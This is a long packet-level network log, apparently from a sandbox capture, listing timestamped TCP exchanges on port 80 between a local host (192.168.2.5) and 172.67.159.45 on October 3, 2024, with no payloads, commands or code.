Oct 3, 2024 05:02:58.314326048 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.314466953 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.314500093 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.314524889 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.314552069 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.314584970 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.314619064 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.314639091 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.314651012 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.314662933 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.314683914 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.314702988 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.314718008 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.314737082 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.314752102 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.314783096 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.314790010 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.314807892 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.314826965 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.314845085 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.314878941 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.315087080 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.315116882 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.315145969 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.315149069 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.315164089 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.315182924 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.315201044 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.315215111 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.315237999 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.315248013 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.315274954 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.315280914 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.315304995 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.315314054 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.315321922 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.315347910 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.315370083 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.315380096 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.315402985 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.315432072 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.315435886 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.315488100 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.315799952 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.315834045 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.315857887 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.315867901 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.315887928 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.315900087 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.315922022 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.315933943 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.315954924 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.315967083 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.315983057 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.315999985 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.316020012 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.316032887 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.316047907 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.316066027 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.316087961 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.316099882 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.316117048 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.316132069 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.316165924 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.316167116 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.316199064 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.316210032 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.316210032 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.316235065 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.316268921 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.316268921 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.316317081 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.316317081 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.316844940 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.316883087 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.316905022 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.316916943 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.316934109 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.316951036 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.316976070 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.317037106 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.317058086 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.317070961 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.317086935 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.317104101 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.317126036 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.317137957 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.317171097 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.317178965 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.317203045 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.317205906 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.317240000 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.317260981 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.317272902 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.317281961 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.317302942 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.317306995 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.317331076 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.317338943 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.317359924 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.317373991 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.317395926 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.317405939 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.317419052 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.317440033 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.317457914 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.317492962 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.317764044 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.317819118 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.317837954 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.317869902 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.317889929 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.317903996 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.317924976 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.317936897 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.317954063 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.317970991 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.317994118 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.318003893 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.318017006 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.318037033 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.318053961 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.318068981 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.318094015 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.318101883 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.318115950 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.318135023 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.318154097 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.318167925 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.318192959 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.318200111 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.318212986 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.318233013 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.318253040 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.318264961 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.318284988 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.318298101 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.318317890 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.318346024 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.318746090 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.318795919 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.318813086 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.318830967 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.318852901 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.318864107 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.318875074 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.318917036 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.318928957 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.318963051 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.318984985 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.318994999 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.319008112 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.319027901 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.319045067 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.319061041 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.319077015 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.319092989 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.319124937 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.319124937 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.319155931 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.319156885 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.319174051 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.319190025 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.319211960 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.319224119 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.319241047 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.319256067 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.319278002 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.319289923 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.319314957 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.319343090 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.319648027 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.319684029 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.319705963 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.319716930 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.319734097 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.319751024 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.319771051 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.319783926 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.319798946 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.319818020 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.319837093 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.319850922 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.319869995 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.319884062 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.319905043 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.319916964 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.319932938 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.319950104 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.319977999 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.320019960 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.406192064 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.406435013 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.406575918 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.406620979 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.406677961 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.406713009 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.406748056 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.406765938 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.406765938 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.406765938 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.406765938 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.406800985 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.406850100 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.406852961 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.406852961 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.406899929 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.406904936 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.406932116 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.406949997 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.406965971 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.406989098 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.406997919 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.407011986 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.407031059 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.407047987 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.407063007 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.407089949 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.407102108 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.407119036 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.407154083 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.407161951 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.407217979 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.407244921 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.407277107 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.407294035 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.407310009 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.407330036 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.407341957 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.407351971 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.407376051 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.407407045 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.407428980 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.407447100 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.407460928 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.407476902 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.407494068 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.407512903 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.407529116 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.407542944 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.407566071 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.407577991 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.407599926 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.407617092 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.407630920 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.407655001 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.407663107 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.407675028 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.407696009 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.407713890 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.407727957 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.407752037 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.407759905 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.407772064 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.407793999 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.407810926 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.407826900 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.407843113 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.407860994 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.407876968 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.407891989 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.407912016 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.407924891 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.407938957 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.407957077 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.407979965 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.408009052 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.408261061 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.408333063 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.408337116 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.408370018 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.408389091 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.408401966 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.408417940 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.408433914 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.408451080 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.408466101 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.408498049 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.408499956 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.408519983 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.408530951 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.408549070 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.408564091 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.408582926 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.408595085 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.408610106 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.408628941 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.408644915 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.408660889 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.408679008 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.408693075 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.408708096 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.408725977 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.408742905 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.408757925 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.408780098 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.408801079 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.409121037 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.409153938 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.409174919 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.409198046 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.409204006 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.409236908 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.409254074 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.409269094 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.409282923 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.409301996 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.409322023 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.409333944 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.409349918 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.409380913 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.409406900 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.409440041 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.409457922 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.409471989 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.409497976 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.409506083 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.409517050 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.409538031 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.409554958 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.409569979 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.409590006 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.409600973 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.409617901 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.409632921 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.409653902 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.409681082 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.409698009 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.409729958 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.410217047 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.410254955 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.410278082 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.410286903 CEST	80	49705	172.67.159.45	192.168.2.5
